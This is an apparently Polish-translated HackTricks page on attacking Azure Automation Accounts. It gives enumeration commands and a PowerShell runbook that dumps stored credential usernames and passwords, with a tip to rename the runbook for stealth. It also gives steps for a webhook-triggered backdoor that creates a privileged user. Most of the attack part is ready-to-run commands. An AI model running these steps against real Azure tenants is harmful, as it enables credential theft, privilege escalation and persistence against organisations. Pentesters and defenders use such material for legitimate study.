Az - Automation Account

Wesprzyj HackTricks

Podstawowe informacje

Z dokumentacji: Azure Automation dostarcza usługę automatyzacji w chmurze, aktualizacji systemu operacyjnego i konfiguracji, która wspiera spójne zarządzanie w Twoich środowiskach Azure i spoza Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i funkcje heterogeniczne.

Są to jak "zaplanowane zadania" w Azure, które pozwolą Ci wykonywać rzeczy (działania lub nawet skrypty) do zarządzania, sprawdzania i konfigurowania środowiska Azure.

Konto Run As

Kiedy jest używane Konto Run as, tworzy aplikację Azure AD z samopodpisanym certyfikatem, tworzy podmiot usługi i przypisuje rolę Contributor dla konta w bieżącej subskrypcji (wiele uprawnień). Microsoft zaleca korzystanie z Identyfikacji zarządzanej dla Konta automatyzacji.

To zostanie usunięte 30 września 2023 r. i zmienione na Identyfikacje zarządzane.

Runbooki i zadania

Runbooki pozwalają na wykonywanie dowolnego kodu PowerShell. Może to być wykorzystane przez atakującego do kradzieży uprawnień dołączonego podmiotu (jeśli istnieje). W kodzie Runbooków można również znaleźć informacje poufne (takie jak dane uwierzytelniające).

Jeśli możesz czytać zadania, zrób to, ponieważ zawierają wyjście z działania (potencjalne informacje poufne).

Przejdź do Konta automatyzacji --> <Wybierz Konto automatyzacji> --> Runbooki/Zadania/Grupy hybrydowe pracowników/Zadania obserwatora/credentials/variables/certificates/connections

Pracownik hybrydowy

Runbook może być uruchamiany w kontenerze wewnątrz Azure lub w Pracowniku hybrydowym (maszyna spoza Azure). Agent Log Analytics jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego. Zadania pracownika hybrydowego są uruchamiane jako SYSTEM w systemie Windows i konto nxautomation w systemie Linux. Każdy Pracownik hybrydowy jest zarejestrowany w Grupie pracowników hybrydowych.

Dlatego jeśli możesz wybrać uruchomienie Runbooka w Pracowniku hybrydowym Windows, wykonasz dowolne polecenia w zewnętrznej maszynie jako System (fajna technika pivot).

Stan konfiguracji kompromitacji (SC)

Z dokumentacji: Stan konfiguracji Azure Automation to usługa zarządzania konfiguracją Azure, która pozwala pisać, zarządzać i kompilować konfiguracje PowerShell Desired State Configuration (DSC) konfiguracje dla węzłów w dowolnym chmurze lub centrum danych lokalnym. Usługa importuje również zasoby DSC i przypisuje konfiguracje do węzłów docelowych, wszystko w chmurze. Możesz uzyskać dostęp do Stanu konfiguracji Azure Automation w portalu Azure, wybierając Konfiguracja stanu (DSC) w sekcji Zarządzanie konfiguracją.

Informacje poufne mogą być znalezione w tych konfiguracjach.

RCE

Możliwe jest wykorzystanie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach.

Az - State Configuration RCE

Wyliczanie

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Utwórz skrypt uruchomieniowy (Runbook)

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Wyciek Creds & Zmienne zdefiniowane w koncie automatyzacji za pomocą Run Booka

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Możesz wykonać tę samą czynność, modyfikując istniejący Run Book, bezpośrednio z konsoli internetowej.

Kroki do skonfigurowania automatycznego tworzenia użytkownika o wysokich uprawnieniach

1. Inicjalizacja konta automatyzacji

  • Wymagane działanie: Utwórz nowe konto automatyzacji.

  • Konkretna konfiguracja: Upewnij się, że opcja "Utwórz konto Azure Run As" jest włączona.

2. Import i konfiguracja Runbook

  • Źródło: Pobierz przykładowy runbook z Repozytorium GitHub MicroBurst.

  • Wymagane działania:

  • Zaimportuj runbook do konta automatyzacji.

  • Opublikuj runbook, aby można go było uruchomić.

  • Dołącz webhook do runbook, umożliwiając zewnętrzne wyzwalacze.

3. Konfiguracja modułu AzureAD

  • Wymagane działanie: Dodaj moduł AzureAD do konta automatyzacji.

  • Dodatkowy krok: Upewnij się, że wszystkie moduły automatyzacji Azure są zaktualizowane do najnowszych wersji.

4. Przypisanie uprawnień

  • Role do przypisania:

  • Administrator użytkownika

  • Właściciel subskrypcji

  • Cel: Przypisz te role do konta automatyzacji dla niezbędnych uprawnień.

5. Świadomość potencjalnej utraty dostępu

  • Uwaga: Bądź świadomy, że konfigurowanie takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją.

6. Wywołanie tworzenia użytkownika

  • Wywołaj webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST.

  • Użyj dostarczonego skryptu PowerShell, upewniając się, że zastąpisz $uri rzeczywistym adresem URL webhooka i zaktualizujesz $AccountInfo z pożądaną nazwą użytkownika i hasłem.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Odnośniki

Wesprzyj HackTricks

Last updated